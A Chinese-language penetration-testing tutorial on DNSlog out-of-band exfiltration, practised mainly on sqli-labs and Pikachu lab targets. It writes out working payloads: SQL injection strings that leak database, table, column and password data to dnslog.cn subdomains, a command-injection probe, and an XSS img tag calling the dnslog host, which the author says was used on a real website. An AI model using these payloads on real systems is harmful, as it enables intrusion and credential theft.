題記
首先祝大家新年快樂,過年給我最大的感覺就是幾家歡喜幾家愁,我們國家總量看似光鮮,可是平均下來也不多,小老百姓更不容易了,一般沒有文化的百姓除了創業就是打工就是中間商賺差價,真是生活不易,加油,一起建設新中國。
DNSlog我以前是通過看推文了解過,后來零組上架了這么個功能,想着試試,后來發現零組的好像還用不了,還是用別的平台吧,這是可以利用它進行快速盲注的工具,看完大佬們的文章復現完受益良多,get到一個新姿勢。玩這個的原因之一也包括我最近在整理sql注入。
靶場環境
DNSlog平台:http://dnslog.cn
Sqli-less5:存在布爾盲注漏洞。
皮卡丘靶場命令執行模塊
真實網站反射型xss
DNSlog簡介
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。
DNS的全稱是Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如www.baidu.com,網絡上的DNS Server會將該域名解析,並找到對應的真實IP如127.0.0.1,使用戶可以訪問這台服務器上相應的服務。
了解到了什么是DNS,那么什么又是DNSlog呢?
DNSlog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似日志文件。
原理:我注冊了一個為a.com的域名,我將他a記錄泛解析到10.0.0.0上,這樣就實現了無論我記錄值填什么他都有解析,並且都指向10.0.0.0,當我向dns服務器發起test.a.com的解析請求時,DNSlog中會記錄下他給test.a.com解析,解析值為10.0.0.0。(通俗來講就是我們申請一個dnslog的平台,當我們盲注的時候把想要的數據和平台給的地址拼接起來,dnslog平台就會把請求的記錄顯示出來。)
常用在哪些情況下:
1、SQL注入中的盲注
2、無回顯的命令執行
3、無回顯的SSRF
用到的函數
DNSlog進行注入需要用到load_file()函數,為什么要用load_file函數呢?因為load_file函數可以解析dns請求。
數據庫中使用此payload:select load_file('\\\\SQL注入查詢語句.a.com')
有些地方用Hex編碼,編碼目的就是減少干擾,因為很多數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做dns查詢的,因為域名是有一定的規范,有些特殊符號是不能帶入的。
注意:load_file函數在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows的一個小Tips——UNC路徑。
Sqli利用DNSlog進行布爾盲注
1、打開DNSlog平台,申請一個域名。此時我們申請到h6xj05.dnslog.cn。
2、打開布爾盲注靶場,http://192.168.1.132:86/Less-5/?id=1為正常頁面。加上'報錯,可能發現只返回真和假,於是利用DNSlog。
注意這里的"\"表示轉義,后面的ABC可以改成任何字母;sql語句在雙引號內不執行,所以要用concat()函數拼接sql語句在雙引號內不執行,所以要用concat()函數拼接。
查詢數據庫名稱
第一條payload: ' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+
當我們在瀏覽器輸入payload的時候,頁面返回正常且DNSlog收到數據庫的記錄。
頁面執行的語句在數據庫中對應的語句為select * from users where id='1' and if((select load_file(concat('\\\\',(select database()),'.h6xj05.dnslog.cn\\aaa'))),1,1)-- ' LIMIT 0,1
查表名
首先我們看數據庫中表名:
查第一個表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+
查第二個表的名字:' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+
查字段名
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.h6xj05.dnslog.cn\\aaa'))),1,1)--+
如果查別的字段修改limit后面的值即可。
做的過程不小心把dnslog刷新了,可以后面域名有所變化,原理是相通的,不影響理解。
查想要的值
查找users表中password字段的第一個值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 0,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+
查找users表中password字段的第二個值:?id=1' and if((select load_file(concat('\\\\',(select hex(password) from users limit 1,1),'.licayh.dnslog.cn\\aaa'))),1,1)--+
Hex解密
打開http://ctf.ssleye.com/hex.html
可以看到解得
分別對應的數據庫中數據。
其他無回顯注入
命令注入
適用於無回顯的命令注入點
使用皮卡丘靶場的命令注入模塊實驗
假設該注入點無回顯
查詢到了我們輸入的變量
%os%.licayh.dnslog.cn
windows常用變量: //變量 類型 描述 //%ALLUSERSPROFILE% 本地 返回"所有用戶"配置文件的位置。 //%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。 //%CD% 本地 返回當前目錄字符串。 //%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。 //%CMDEXTVERSION% 系統 返回當前的"命令處理程序擴展"的版本號。 //%COMPUTERNAME% 系統 返回計算機的名稱。 //%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。 //%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 //%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 //%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。 //%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。 //%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在"本地用戶和組"中指定的。 //%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。 //%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。 //%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 //%PATH% 系統 指定可執行文件的搜索路徑。 //%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。 //%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 //%PROCESSOR_IDENTFIER% 系統 返回處理器說明。 //%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。 //%PROCESSOR_REVISION% 系統 返回處理器的版本號。 //%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 //%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 //%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 //%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。 //%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 //%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。 //%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。 //%USERNAME% 本地 返回當前登錄的用戶的名稱。 //%USERPROFILE% 本地 返回當前用戶的配置文件的位置。 //%WINDIR% 系統 返回操作系統目錄的位置。
xss盲打
找一個有反射型xss的網站
注入點插入:<img src="http://licayh.dnslog.cn/aaa">
收到請求說明觸發了插入的js代碼
sqlmap使用dns
sqlmap可以使用--dns-domain參數實現自動化dns注入
參考鏈接
滲透測試中dns log的使用(很不錯的一篇原理解析文):http://cnblogs.com/rnss/p/11320305.html
一篇文章理解DNSlog的妙用:http://mp.weixin.qq.com/s/MFKs80OcUdtUKmBO6WBcQA
Dnslog在SQL注入中的實戰(各種數據庫全了,有需要可看此處復習):http://anquanke.com/post/id/98096